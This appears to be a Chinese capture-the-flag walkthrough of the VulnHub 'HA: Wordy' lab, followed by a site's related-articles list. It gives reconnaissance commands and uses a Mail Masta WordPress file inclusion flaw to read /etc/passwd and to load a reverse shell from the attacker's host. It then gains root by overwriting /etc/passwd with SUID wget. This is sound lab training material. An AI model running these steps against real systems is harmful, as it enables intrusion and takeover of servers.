当前位置: 首页 > java >正文

HA: Wordy靶场

HA: Wordy

来自 <HA: Wordy ~ VulnHub>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128,靶场IP192.168.23.130

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.130

4,这个网站是一个默认页面

dirsearch -u http://192.168.23.130/ -x 403,404

网站应该是一个wordpress建站系统

查看网站安装的插件

检索这个插件存在的漏洞

searchsploit mail masta

然后查看漏洞利用方法

searchsploit -m 40290.txt

cat 40290.txt

http://192.168.23.130/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

漏洞利用成功,尝试污染日志文件,然后通过文件包含漏洞getshell。

5,第二种方法,测试是否存在远程文件包含漏洞

http://192.168.23.130/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=https://www.baidu.com

存在,那么就可以通过远程文件包含漏洞进行写马操作,使用kali自带的木马

cp /usr/share/webshells/php/php-reverse-shell.php .

mv php-reverse-shell.php shell.php

vim shell.php

注意修改反弹shell的IP和端口

python -m http.server

http://192.168.23.130/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=http://192.168.23.128:8000/shell.php

与此同时需要打开对4444端口的监听

nc -lvvp 4444

成功getshell

6,使用python脚本启动一个交互式shell,没有python这个命令

查看一下怎么提权

sudo -l

find /  -type f -perm -u=s -user root 2>/dev/null

使用wget -O 提权,利用wget -O命令覆盖/etc/passwd文件

在kali上创建文本文件,取名passwd,并将靶机/etc/passwd文件的内容复制进去。因为之后要覆盖靶机的/etc/passwd,所以名字要一模一样

vim passwd

openssl passwd -1 123456

cat passwd

然后再开启一个

python -m http.server

cd /tmp

wget http://192.168.23.128:8000/passwd

cp passwd /etc/passwd

python3 -c 'import pty;pty.spawn("/bin/bash")'

su

http://www.xdnf.cn/news/10633.html

相关文章:

  • Apache Doris 在数据仓库中的作用与应用实践
  • Python应用continue关键字初解
  • 3.1 HarmonyOS NEXT分布式数据管理实战:跨设备同步、端云协同与安全保护
  • 前端限流如何实现,如何防止服务器过载
  • LeetCode[404]左叶子之和
  • Flink 失败重试策略 :restart-strategy.type
  • 八股学习-JS的闭包
  • GaLore:基于梯度低秩投影的大语言模型高效训练方法详解一
  • LeetCode第244题_最短单词距离II
  • 使用 C++/OpenCV 制作跳动的爱心动画
  • Unity Mac 笔记本操作入门
  • YOLO-V2 (学习记录)
  • Ubuntu 挂载新盘
  • React知识点梳理
  • VR教育:开启教育新时代的钥匙
  • 【C++高并发内存池篇】性能卷王养成记:C++ 定长内存池,让内存分配快到飞起!
  • 解决Vue3+uni-app导航栏高亮自动同步方案
  • 什么是C语言块级变量
  • 使用NMEA Tools生成GPS轨迹图
  • 湖北理元理律所:企业债务重组中的“法律缓冲带”设计
  • 重温经典算法——堆排序
  • 九(1). 引用作为函数参数的使用
  • DDR5舍入定义和算法Rounding Definitions and Algorithms详细讲解
  • 第17讲、odoo18可视化操作代码生成模块
  • L2-054 三点共线 - java
  • 【LeetCode】数组|枚举|数学题型刷题汇总
  • 头像预览和上传
  • 第一章:计算机系统概论
  • Y1——链式前向星
  • 在 Linux 服务器上无需 sudo 权限解压/打包 .7z 的方法(实用命令)